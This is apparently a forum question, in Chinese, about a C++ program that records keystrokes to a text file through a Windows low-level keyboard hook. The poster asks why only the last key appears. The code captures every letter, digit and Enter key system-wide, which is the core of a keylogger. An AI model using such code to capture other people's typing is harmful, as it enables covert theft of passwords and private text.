日志记录键问题

我正在尝试制作一个程序，使用低级键盘钩子将击键记录到文本文件中。我遇到的问题是，虽然它确实记录了字母，但文本文件只包含已按下的最后一个字母。

例如，如果我输入单词"hello"，则文本文件将仅包含"o"。

这是我的代码。再次感谢您的帮助。

    #include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <fstream>
// function declaration.
using namespace std;
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam );
int main()
{
HINSTANCE appInstance = GetModuleHandle(NULL);
    SetWindowsHookEx( WH_KEYBOARD_LL, LowLevelKeyboardProc, appInstance, 0 );
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
        TranslateMessage(&msg);
        DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{
ofstream myfile;
myfile.open("log.txt");
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
    switch( wParam )
    {
    case WM_KEYUP: 
        {
            switch( pKeyBoard->vkCode ) 
            {
            case VK_RETURN: 
                myfile<<"Enter  n"; 
            break;
                   case 0x41:
                myfile<<"A  n";
                break;
                    case 0x42:
                myfile<<"B  n";
                break;  
                    case 0x43:
                myfile<<"C  n";
                break;
                    case 0x44:
                myfile<<"D  n";
                break;
                                case 0x45:
                myfile<<"E  n";
                break;
                                case 0x46:
                myfile<<"F  n";
                break;
                                case 0x47:
                myfile<<"G  n";
                break;  
                                case 0x48:
                myfile<<"H  n";
                break;
                                case 0x49:
                myfile<<"I  n";
                break;
                                case 0x4A:
                myfile<<"J  n";
                break;
                                case 0x4B:
                myfile<<"K  n";
                break;
                                case 0x4C:
                myfile<<"L  n";
                break;
                                case 0x4D:
                myfile<<"M  n";
                break;
                                case 0x4E:
                myfile<<"N  n";
                break;
                                case 0x4F:
                myfile<<"O  n";
                break;
                               case 0x50:
                myfile<<"P  n";
                break;
                               case 0x51:
                myfile<<"Q  n";
                break;
                               case 0x52:
                myfile<<"R  n";
                break;
                                case 0x53:
                myfile<<"S  n";
                break;
                                case 0x54:
                myfile<<"T  n";
                break;
                                case 0x55:
                myfile<<"U  n";
                break;
                                case 0x56:
                myfile<<"V  n";
                break;
                                case 0x57:
                myfile<<"W  n";
                break;
                                case 0x58:
                myfile<<"X  n";
                break;          case 0x59:
                myfile<<"Y  n";
                break;
                                case 0x5A:
                myfile<<"Z  n";
                break;

                case 0x30:
                myfile<<"0 n";
                break;  
                case 0x31:
                myfile<<"1 n"; 
                break;

                case 0x32:
                myfile<<"2 n"; 
                break;

                case 0x33:
                myfile<<"3 n"; 
                break;

                case 0x34:
                myfile<<"4 n"; 
                break;

                case 0x35:
                myfile<<"5 n"; 
                break;

                case 0x36:
                myfile<<"6 n"; 
                break;  

                case 0x37:
                myfile<<"7 n"; 
                break;  

                case 0x38:
                myfile<<"8 n"; 
                break;
                case 0x39:
                    myfile<<"9 n";
                    break;
            }
        }
    default:
        return CallNextHookEx( NULL, nCode, wParam, lParam );
    }
    myfile.close();
    return 0;
}